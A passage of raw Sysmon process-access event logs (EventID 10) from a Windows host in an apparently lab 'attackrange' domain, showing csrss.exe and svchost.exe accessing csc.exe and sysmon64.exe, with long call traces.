11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4172-5F2D-0000-00105D9E0800}\r\nTargetProcessId: 4012\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4172-5F2D-0000-00105D9E0800}","TargetProcessId":"4012","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:34.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:34.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 